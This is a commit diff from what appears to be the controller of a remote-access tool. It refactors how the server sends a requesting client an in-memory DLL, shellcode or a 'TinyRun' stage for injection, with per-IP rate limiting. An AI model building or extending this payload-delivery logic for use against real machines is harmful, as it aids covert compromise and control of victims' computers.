Refactor: Remove SCLoader.cpp and use the received DLL to inject
This commit is contained in:
@@ -5734,14 +5734,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
||||
if (IsDllRequestLimited(clientIP)) {
|
||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
|
||||
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
|
||||
} else {
|
||||
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||
send = SendServerDll(ContextObject, typ, is64Bit);
|
||||
if (send) {
|
||||
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
||||
}
|
||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -6898,10 +6898,11 @@ bool isAllZeros(const BYTE* data, int len)
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
|
||||
{
|
||||
auto isDLL = payloadType == MEMORYDLL;
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||||
auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
|
||||
if (buf->length()) {
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
|
||||
Reference in New Issue
Block a user